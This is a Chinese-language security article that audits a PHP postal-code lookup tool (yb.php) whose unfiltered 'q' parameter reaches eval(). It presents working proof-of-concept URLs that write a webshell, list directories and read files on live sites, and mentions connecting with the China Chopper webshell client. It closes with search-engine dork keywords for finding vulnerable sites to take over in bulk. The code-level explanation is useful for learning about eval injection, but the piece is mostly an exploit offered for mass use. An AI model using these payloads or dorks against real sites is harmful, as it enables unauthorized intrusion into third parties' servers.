频道栏目
首页 > 资讯 > 网站安全 > 正文

站长工具源码出现代码执行漏洞导致批量拿站

16-06-01        来源:[db:作者]  
收藏   我要投稿

 0x0  前

今天在幽灵网安看文章,看见一个站长工具源码泄露批量拿站的文章,里面附了一POC,于是想在前人的肩膀上自己做一次审计!

0x1  先通过poc拿到shell,然后下载含漏洞的源码

http://www.admintony.top/yb/yb.php?q=${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=www.admintony.top测试&n=./tony.txt

1

返回这个页面,说明写入成功!

访问看看:

2

直接对传递的d参数和n参数进行修改,就可以直接写入一句话了!

菜刀连接,并下载漏洞代码yb.php

3

0x2 开始审计:

漏洞出现在yb.php的这一段:

$q = trim($_GET['q']); //关键词-->去掉参数前后的空格,然后将参数转化成字符型$page = intval($_GET['p']); //页数,-->将页面转换成数字型if($page==0) $page = 1;$r_num = 0; //结果个数$p_num = 40; //每页结果的数据条数$result = "";$shengpy = array('B','T','H','S','N','L','J','H','S','J','Z','A','F','J','S','H','H','H','G','G','H','C','S','G','Y','X','S','G','Q','N','X','X','A','T');$sheng = array('北京','天津','河北','山西','内蒙古','辽宁','吉林','黑龙江','上海','江苏','浙江','安徽','福建','江西','山东','湖南','湖北','河南','广东','广西','海南','重庆','四川','贵州','云南','西藏','陕西','甘肃','青海','宁夏','新疆','香港','澳门','台湾');if($q){  if (!@file_exists($keydb)){ $dreamdb = file("pc.dat");//读取区号文件 $count = count($dreamdb);//计算行数 for($i=0; $i<$count; $i++) { $keyword = explode(" ",$q);//拆分关键字--->以空格为拆分标志,并将拆分后的字符存放于数组 $dreamcount = count($keyword);//关键字个数 $detail = explode("/t",$dreamdb[$i]); for ($ai=0; $ai<$dreamcount; $ai++){ switch ($_GET['w']){ case "sheng": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[0]/");");break; case "diqu": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[1]/");");break; case "shi": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[2]/");");break; case "cun": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[3]/");");break; case "youbian": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[4]/");");break; case "quhao": @eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[5]/");");break; default: @eval("/$found = eregi(/"$keyword[$ai]/",/"$dreamdb[$i]/");");break; }

1.参数源码对q传递来的参数没有过滤,导致我们的代码可以被传递过来!

2.代码执行漏洞出现位置:

@eval("/$found = eregi(/"$keyword[$ai]/",/"$detail[0]/");");break;

追寻keyword[$ai],可以看出keyword是对q参数以空格为界限进行拆分的结果!

如果这里我们q参数传递来为${@exit(print_r(scandir($_GET[d])))}

那么语句就变成:

@eval("/$found = eregi(/"${@exit(print_r(scandir($_GET[d])))}/",/"$detail[0]/");");break;

双引号中的内容会先进行php解析,如果不是php函数,就当作字符串,这里我们传递来的字符就被执行了,然后,我们在url中添加的d这个参数就会被接受,如果d中存放:../,那么我们遍历目录的效果就达到了!

再分析写入shell的poc:

${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=www.admintony.top测试&n=./xin.txt

 

这句poc的意思就是:把d和n的参数传递过来,d是内容,n是文件名,然后file_put_contents函数就将d传递来的内容,写入n传递来的文件里面,返回值为d的字符串长度!var_dump就是返回类型和内容!exit($tony)–>打印tony并退出!这样我们根据判断返回的数字和我们一句话长度的对比就可以判断一句话是否写入成功了!

0x3 POC

利用方法:扫描整站文件:?q=${@exit(print_r(scandir($_GET[d])))}&d=../读取指定文件:?q=${@exit(print_r(file($_GET[d])))}&d=../index.php写入一句话:?q=${@exit(var_dump(file_put_contents($_GET[n],$_GET[d])))}&d=www.xssec.org测试&n=./xin.txt一句话地址为:http://www.admintony.top/yb/xin.txt(自己改写入一句话的路径)

0x4  批量关键字

关键词:

inurl:yb/yb.php

intitle:站长工具网

intitle:实用查询工具

inurl:yb/youbian.php

inurl:yb/youbian

inurl:yb/index.php

出现以下内容的页面:

如查询“湖南省”,请输入“湖南”,支持邮编或区号反查地理位置

查询省名、市名、县名、村名的时候请去掉省市县村后缀

 

相关TAG标签
上一篇:Flask Web 开发学习稿(三)
下一篇:恶意传播之——社工+白+黑
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站